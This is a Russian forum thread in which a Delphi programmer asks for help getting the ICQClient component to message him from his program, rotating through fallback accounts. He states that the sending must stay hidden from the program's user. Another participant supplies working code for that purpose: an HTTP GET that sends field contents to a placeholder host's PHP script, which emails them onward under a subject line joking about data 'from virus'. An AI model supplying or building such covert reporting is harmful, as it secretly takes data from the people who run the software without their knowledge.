ICQCLient... ERROR

[Port 111]

Здравствуйте. Использую в своей программе компонент ICQClient v1.34
Мне необходимо чтобы когда в программе происходило определенное действие отправлялось сообщение на мне на аську.
Но проблема в следующем, если программу запущенна в нескольких экземплярах одновременно или UIN отправили в тайм аут (если программу запускали много раз), то icqclient не коннектится ... тогда мне необходимо чтобы icqclient использовал для отправки другой UIN.
В связи с этим у меня несколько проблем:

1. Если хочу использовать событие OnError

procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
      ErrorMsg: String);

то Delphi выдает ошибку [Error] Unit1.pas(72): Undeclared identifier: 'TErrorType'
Почему и как поправить?

2. Так как событие OnError я не могу использовать, то использую событие ICQClient1ConnectionFailed.
ТО есть если оно происходит мне надо подключиться под другим UIN'ом из списка.
Написал процедуру

procedure TForm1.ICQEnter(icqclient :TICQClient);
begin
  case EnterUIN of
    0:
    begin
      icqclient.UIN:=111111;
      icqclient.Password:='123456';
      icqclient.Login(0);
    end;
    1:
    begin
      icqclient.UIN:=2222222;
      icqclient.Password:='123456';
      icqclient.Login(0);
    end;
    2:
    begin
      icqclient.UIN:=333333;
      icqclient.Password:='123456';
      icqclient.Login(0);
    end
    else
    begin
    icqclient.UIN:=4444444;
    icqclient.Password:='123456';
    icqclient.Login(0);
    end;
  end;
end;

и вызываю её в событии ICQClient1ConnectionFailed

EnterUIN:=EnterUIN+1;
  ICQEnter(ICQClient1);

Для проверки, специально ложил первый UIN в тайм аут и запускал.
Происходит следующие: Событие ICQClient1ConnectionFailed срабатывает
EnterUIN увеличивается и становиться равным 1, потом выполняется кусок из case of

 1:
    begin
      icqclient.UIN:=2222222;
      icqclient.Password:='123456';
      icqclient.Login(0);
    end;

И всё и НЕ логиниться и НЕ вызывается событытия ICQClient1ConnectionFailed

Пожалуйста помогите...что не так?
Заранее спасибо

[Dj_smart]

PHP + Email будет проще. Типо сложить скрипт а потом http запросом отчеты давать . Могу помочь 9804336

[Port 111]

Мне надо чтобы это всё незаметно для пользователя проходило, я так понимаю если через e-mail то крыть не получится.

Хочу именно с ICQ разобраться, я просто не понимаю в чем проблема, и мне интересно...

[Dj_smart]

Нет, вы меня не поняли - от вас потребуется отправить GET запрос серверу (с ПХП), который уже сам отправит то что вы в указали на мыло.

IdHttp1.GET('http://yoursite.ru/haha.php?text='+edit1.text);

а в скрипте (пхп скрипт назвать надо haha.php и положить в корень домена _www.yoursite.ru ) :

PHP код:

<?php
  $text=$_GET['text'];
  mail('Ok! New data from virus :)','Ваш емайл',$text);
  echo 'Ok';
?>

[Port 111]

Спасибо огромное, очень полезная информация. Вопрос в функции mail первый параметр это что?

Но вопрос по ICQ остается ОТКРЫТЫМ!

[goblinyara]

хммм... насколько я понял - заголовок сообщения...

[Port 111]

Сообщение от goblinyara

хммм... насколько я понял - заголовок сообщения...

goblinyara, не совсем понял ваше сообщение

[Dj_smart]

Да, goblinyara был прав это заголовок сообщения. (В смысле емайл сообщения) А Вы подумали что заголовок его сообщения?

[Port 111]

Всё еще жду помощи по вопросам....

[KORN]

icqclient.Login(0);
а тут разве не boolean переменная7 т.е. icqclient.Login(true); это для начала подключения